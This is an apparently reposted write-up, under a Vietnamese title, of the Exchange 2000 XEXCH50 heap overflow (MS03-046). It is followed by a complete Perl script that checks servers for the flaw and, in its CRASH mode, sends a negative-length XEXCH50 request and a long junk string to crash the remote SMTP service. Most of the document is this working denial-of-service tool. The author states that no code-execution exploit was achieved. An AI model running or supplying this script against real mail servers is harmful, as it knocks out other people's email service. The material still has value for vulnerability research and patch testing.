Khai thác lỗi tràn heap trên Microsoft Exchange 2000

Khai thác lỗi tràn heap trên Microsoft Exchange 2000

Khai thác lỗi tràn heap trên Microsoft Exchange 2000

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Đôi nét về lỗi này:

On October 15th, Microsoft released an advisory stating that both Exchange 5.5 and Exchange 2000 were vulnerable to a denial of service attack in the code which processes extended verb requests This advisory also

stated that Exchange 2000 was vulnerable to a buffer overrun that would allow a remote attacker to execute the code in the context of the SMTP service

The supported extended verb requests can be determined by sending the

"EHLO" command to the SMTP service After checking both the 5.5 and 2000 versions of the Exchange SMTP service, it was obvious that the problem had to be with the XEXCH50 verb A quick google search and I was able to find a quick description of this verb:

From http://smtpfilter.sourceforge.net/esmtp.html:

"Allows transfer of binary data with Exchange specific recipient

information eg plain text only versus MIME, etc) If accepted, receiver

SMTP servers sends 354 Send Binary data and sending SMTP server sends the number of bytes as the first parameter on the XEXCH50 command Once these bytes are sent, the receiving SMTP server sends an acknowledgment"

After a few minutes of digging on google groups, I came across a sample TCP session showing how the XEXCH50 verb is used This verb is used to transfer messages between Exchange servers using their native envelope format The syntax of the verb is:

XEXCH50 <X> <Y>

Where X is the length of the message and Y always seems to be the number 2 (although other small integer values work as well) The denial of service can be triggered by sending XEXCH50 request with a massive number of bytes for the first argument This forces the remote server to allocate

that specified amount of space and can easily be used to drain all

available memory from a system Once Exchange runs low on memory, it no longer processes incoming requests, leading to a quick and easy remote denial of service

If a negative value is passed as the first argument of the XEXCH50 verb request, the server will not allocate any memory but still accept data

This can be used to clobber the heap and eventually execute arbitrary

code

It ends up that the heap area that is overwritten is used by the

GetServiceConfigInfoSize routine and many of the subroutines that it

calls After testing more than two hundred combinations of data size,

data content, pre-allocation, multiple connections, and alternate trigger paths, I was unable to find a set that would allow for reliable

exploitation Using the Snapshot/Revert functions of VMWare allowed me to test different data combinations in the exact same running process Just changing a few bytes deep into the data resulted in a change in the

location and type of crash Even using the exact same data will result in smaller set of completely different crashes using different chunks of the data

So for the moment, I have no working exploit More than likely someone will find the perfect set of parameters and be able to write a reliable

exploit, but in the meantime I am going to burn my time on something more fulfilling

You can find a small perl script that reproduces the crash and tests for the vulnerability at the URL below

http://metasploit.com/releases.html

CODE khai thác:

#!/usr/bin/perl -w

##################

##

# ms03-046.pl - hdm[at]metasploit.com

##

use strict;

use IO::Socket;

my $host = shift() || usage();

my $mode = shift() || "CHECK";

my $port = 25;

if (uc($mode) eq "CHECK") { check() }

if (uc($mode) eq "CRASH") { crash() }

usage();

sub check

{

my $s = SMTP($host, $port);

if (! $s)

{

print "[*] Error establishing connection to SMTP service.\n";

exit(0);

}

print $s "XEXCH50 2 2\r\n";

my $res = <$s>;

close ($s);

# a patched server only allows XEXCH50 after NTLM authentication

if ($res =~ /authentication/i)

{

print "[*] This server has been patched or is not vulnerable.\n";

exit(0);

}

print "[*] This system is vulnerable: $host:$port\n";

exit(0);

}

sub crash

{

my $s = SMTP($host, $port);

if (! $s)

{

print "[*] Error establishing connection to SMTP service.\n";

exit(0);

}

# the negative value allows us to overwrite random heap bits print $s "XEXCH50 -1 2\r\n";

my $res = <$s>;

# a patched server only allows XEXCH50 after NTLM authentication

if ($res =~ /authentication/i)

{

print "[*] This server has been patched or is not vulnerable.\n"; exit(0);

}

print "[*] Sending massive heap-smashing string \n";

print $s ("META" x 16384);

# sometimes a second connection is required to trigger the crash

$s = SMTP($host, $port);

exit(0);

}

sub usage

{

print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";

exit(0);

}

sub SMTP

{

my ($host, $port) = @_;

my $s = IO::Socket::INET->new

(

PeerAddr => $host,

PeerPort => $port,

Proto => "tcp"

) || return(undef);

my $r = <$s>;

return undef if !$r;

if ($r !~ /Microsoft/)

{

chomp($r);

print STDERR "[*] This does not look like an exchange server: $r\n"; return(undef);

}

print $s "HELO X\r\n";

$r = <$s>;

return undef if !$r;

print $s "MAIL FROM: DoS\r\n";

$r = <$s>;

return undef if !$r;

print $s "RCPT TO: Administrator\r\n";

$r = <$s>;

return undef if !$r;

return($s);

}